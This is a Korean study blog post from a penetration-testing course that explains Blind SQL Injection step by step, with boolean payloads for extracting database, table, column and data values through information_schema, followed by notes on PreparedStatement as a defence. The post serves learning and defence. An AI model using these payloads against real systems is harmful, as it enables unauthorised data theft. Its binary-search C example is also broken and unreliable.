본문 바로가기

모의해킹 공부/모의해킹 스터디

[0427 Day05] SQL Injection-03

2023.04.21 - [모의해킹 공부/취업스터디] - [0420 Day04] SQL Injection-02

 

[0420 Day04] SQL Injection-02

2023.04.14 - [모의해킹 공부/취업스터디] - [0413 Day03] SQL Injection -01 [0413 Day03] SQL Injection -01 DB : 많은 사람들이 데이터를 공유하여 사용할 목적으로 체계화해 통합하고 관리하는 데이터 집합!! DB를 쉽

jisu069.tistory.com

SQL Injection : SQL 질의문을 삽입 공격!!

  • Union SQL Injection
    • 2개 이상의 SELECT문을 union 연산자를 사용해 연결해서 원하는 데이터를 추출하는 공격!! 
    • 조건 : column의 개수와 타입이 같아야한다!!!
      • order by구문으로 column의 개수를 파악
  • Error Based SQL Injection
    • SQL 에러 기반 Injection으로 SQL 논리 에러를 통해 원하는 정보/데이터를 얻는 공격!!
    • 조건 : [1] 에러 결과가 보여야한다 [2] 문법에러가 나면 안된다!!

  SQL Injection을 하는 목표를 명확하게 알아야한다!!


Blind SQL Injection

SQL질의문의 참과 거짓의 조건으로 데이터를 추출하는 공격!!

 

공격이 일어나는 곳

  • 참과 거짓 조건에 따라 응답이 다른 곳
  • DB 질의 결과가 화면에 출력되지 않는 곳
  • Error Based SQL injection을 사용하고 싶지만 화면에 에려 결과가 출력되지 않는 곳
  • SQL Injection 공격이 가능한 모든 곳!!(만능키 같은 느낌~~ 하지만 효율적이지 않는다)

로그인 페이지 같은 경우 횟수 제한이 있어서 못쓰지 않을 까???

문제 없이 사용할 수 있다!! 왜냐하면 로그인 로직을 생각해보면 DB에 들어갈 때 아이디와 비밀번호 틀린 횟수를 체크하다보니 Blind SQL Injection을 [test' and (ascii(substring((SQL문),1,1)) > 0) and '1%' = '1]  

사용할 경우 아이디 부분의 숫자가 계속해서 바뀌기 때문에 DB에서는 다른 계정으로 생각한다!!

 

만약 해당 IP에서 로그인을 차단한다면? Blind SQL Injection공격을 막을 수 있을 것 같다


Blind SQL Injection 공격하기전 필요한 지식 문법!!

[1] limit [시작위치], [출력할 개수]

  • limit 0, 2 : 1번째 행에서 2개를 가져와!~

[2] substr / substring([문자열], [시작위치], [자를 개수])

  • substring('test', 2, 1) : 2번째 글자부터 1개 가져와!~

[3] ASCII(문자) : 문자하나를 아스키코드로 리턴해주는 함수!!

  • ASCII : 미국 국립 표준 협회에서 표준화한 정보교환용 7bit 부호체계 (1bit는 확장용)
  • ascii(t) : t를 아스키코드로 변환해!~ (t = 116)

[4]  2진 탐색 알고리즘

(Y)목표값을 찾아내기 위한 알고리즘으로, 숫자의 중간 값(M)을 임의로 선택해서 목표값과 계속 비교해서 알아낸다

int BinarySearch(int arr[], int y, int start, int end){
	if (start > end)	return 1;
    
	int m = (start +  end) / 2;
	if(arr[m] == y)	return m;
	if (arr[mid] > y)
 		return BinarySearch(arr, y, start, m-1);
	else
		return BinarySearch(arr, y, m-1, end);
}

Blind SQL Injection Step

Step 1. SQL Injection 공격가능한지 확인하기!!

  • 추측 하기
    1. CASE 1(게시판, 검색하는 페이지일 경우)
      1. 추측) select * from TB명 where name like '%___%';
      2. 확인 ) tes%' and '1%' =  '1
    2. CASE 2(로그인 페이지일 경우)
      1. 추측1) select * from TB명 where userId = '__' and userPw = '__';
      2. 확인1) test' and '1'  = '1 
      3. 추측2) select * from TB명 where userId = '__';
      4. 확인2) test' union 

Step 2. 참과 거짓 확인하기!!

  • CASE 1
    • tes%' and (1=1) and '1%' = '1 결과 확인하기 (참)
    • tes% and (1=2) and '1%' = '1 결과 확인하기 (거짓)
  • CASE 2
    • test' and (1=1) and '1' = '1 결과 확인하기 (참)
    • test' and (1=2) and '1' = '1 결과 확인하기 (거짓)

Step 3. 문자열과 SELECT문 확인하기!!

  • CASE 1
    • tes%' and ('test'='test') and '1%' = '1 
    • tes%' and ((select 'test')='test') and '1%' = '1
  • CASE 2
    • test' and ('test'='test') and '1' = '1
    • test' and ((select 'test')='test') and '1' = '1

Step 4. Blind 공격 포맷 만들기 (여기서 부터 CASE1 기준으로 작성)

   [0] tes%' and (조건) and '1%' = '1

      [0-1] ascii('t') > 0  <- - 항상 참이므로 (조건)부분에 넣어서 확인하기

      [0-2] tes%' and (ascii('t') > 0) and '1%' = '1

 

   [1] tes%' and (ascii((조건)) > 0) and '1%' = '1

      [1-1] substring('test',1,1) <-- 결과가 t이므로 ascii 부분에 넣어서 참인지 확인!!

      [1-2] tes%' and (ascii(substring('test',1,1)) > 0) and '1%' = '1

      [1-3] tes%' and (ascii(substring((select 'test'),1,1)) > 0) and '1%' = '1 <- select도 가능한지 확인!!

   

   [★] 공격 폼 : tes%' and (ascii(substring((SQL문),1,1)) > 0) and '1%' = '1 


Step 5. DB명 추출하기

   [★] 공격 폼 : tes%' and (ascii(substring((SQL문),1,1)) > 0) and '1%' = '1 

  

   DB 이름 추출 : select database();

   1) tes%' and (ascii(substring((select database()),1,1)) > 0) and '1%' = '1  <-- 참인지 확인하기!!

   2) tes%' and (ascii(substring((select database()),1,1)) > 100) and '1%' = '1 

   3) tes%' and (ascii(substring((select database()),1,1)) > 150) and '1%' = '1 

   4) tes%' and (ascii(substring((select database()),1,1)) > 125) and '1%' = '1 

   ... <검색이 안되기 시작하는 숫자 찾기!~>

   5) tes%' and (ascii(substring((select database()),2,1)) > 100) and '1%' = '1 <-- 첫번째 글자 발견시 숫자 + 1

   ...


Step 6. Table명 추출하기 

   [★] 공격 폼 : tes%' and (ascii(substring((SQL문),1,1)) > 0) and '1%' = '1 

 

   Table 이름 추출 : select table_name from information_schema.tables where table_schema = 'db명' limit 0,1

   1) tes%' and (ascii(substring((select table_name from information_schema.tables

       where table_schema = 'db명' limit 0,1),1,1)) > 0) and '1%' = '1  <-- 참인지 확인하기!!

   2)  tes%' and (ascii(substring((select table_name from information_schema.tables 

        where table_schema = 'db명' limit 0,1),1,1)) > 100) and '1%' = '1

   ... <DB 이름 추출처럼 반복하기~>

   3) tes%' and (ascii(substring((select table_name from information_schema.tables

        where table_schema = 'db명' limit 1,1),1,1)) > 0) and '1%' = '1  <-- 참인지 확인하기!!

   4)  tes%' and (ascii(substring((select table_name from information_schema.tables

        where table_schema = 'db명' limit 1,1),1,1)) > 100) and '1%' = '1

   5)  tes%' and (ascii(substring((select table_name from information_schema.tables

        where table_schema = 'db명' limit 1,1),2,1)) > 100) and '1%' = '1

    ... <Table명이 여러개 일 수 있어서 처음 테이블 확인이 끝나면 다음 limit +1>


Step 7. Column명 추출하기 

   [★] 공격 폼 : tes%' and (ascii(substring((SQL문),1,1)) > 0) and '1%' = '1 

 

   Column이름 추출하기 : select column_name from information_schema.columns where table_name='TB명' limit 0,1

  1) tes%' and (ascii(substring((select column_name from information_schema.columns where table_name='TB명' limit 0,1),1,1)) > 0) and '1%' = '1  <-- 참인지 확인하기!!

   2)  tes%' and (ascii(substring((select column_name from information_schema.columns where table_name='TB명' limit 0,1),1,1)) > 100) and '1%' = '1

   ... <DB, table 이름 추출처럼 반복하기~>

   3) tes%' and (ascii(substring((select column_name from information_schema.columns where table_name='TB명' limit 1,1),1,1)) > 0) and '1%' = '1  <-- 참인지 확인하기!!

   4)  tes%' and (ascii(substring((select column_name from information_schema.columns where table_name='TB명' limit 1,1),1,1)) > 100) and '1%' = '1

   5)  tes%' and (ascii(substring((select column_name from information_schema.columns where table_name='TB명' limit 1,1),2,1)) > 100) and '1%' = '1

    ... <컬럼명이 여러개 일 수 있어서 처음 테이블 확인이 끝나면 다음 limit +1>


Step 8. DATA 추출하기 

   [★] 공격 폼 : tes%' and (ascii(substring((SQL문),1,1)) > 0) and '1%' = '1 

 

   DATA 추출하기  : select '컬럼명' from 'TB명'

   1) tes%' and (ascii(substring((select '컬럼명' from 'TB명' limit 0,1),1,1)) > 0) and '1%' = '1  <-- 참인지 확인하기!!

   2) tes%' and (ascii(substring((select '컬럼명' from 'TB명' limit 0,1),1,1)) > 100) and '1%' = '1

   <... 위와 같이 반복!>


SQL Injection 대응 방안

사실 SQL Injection 대응 방안으로 필터링을 먼저 생각을 했는데 수업을 듣고 필터링을 통한 방어는 매우 극단적인 판단이라는 것을 깨달았다 

만약 'select' 를 필터링으로 차단했을 때 어떠한 사용자가 select001이라는 계정을 생성할때 문제가 생기게된다

필터링만으로 막는 다는 것은 손가락을 배였다고 손을 자르는 것 과 같은 판단이다!!

 

SQL Injection의 근본적인 원인을 제거하는게 올바른 판단!!

근본적인 원인 : 서버에서 준비된 SQL 질의문에 사용자가 입력하는 그대로 질의문에 들어가기 때문에 취약점이 생긴다

해결 방안 : PreparedStatement 처리

 

PreparedStatement 처리

서버에서 준비된 SQL문을 미리 컴파일을 해서 사용자가 입력해야하는값을 문자로 처리해서 공격을 못하게 할 수 있다

실제로  PreparedStatement 처리를 할 경우 SQL Injection 공격은 불가능하다

또 DBMS를 더 빠르고 효율적으로 사용할 수 있다

 

그러면 왜 SQL Injection 공격은 사라지지 않고  OWASP에 항상  Top 10을 유지하는가?

 1. preparedstatement 잘못 쓴 경우 취약점이 그대로 남아버린다

 2. 오래된 코드 혹은 오래된 라이브러리를 사용할 경우 문제가 생긴다

 3. 사실 PreparedStatement는 적용되지 않는 곳이 있다  order by 정렬, Table 이름, Column이름이 되어 있는 경우 공격이 가능해진다


<SQL I 다시 총 정리와 Blind SQL Injection Step을 프로그래밍 구현, PreparedStatement 정리를 할 예정입니다>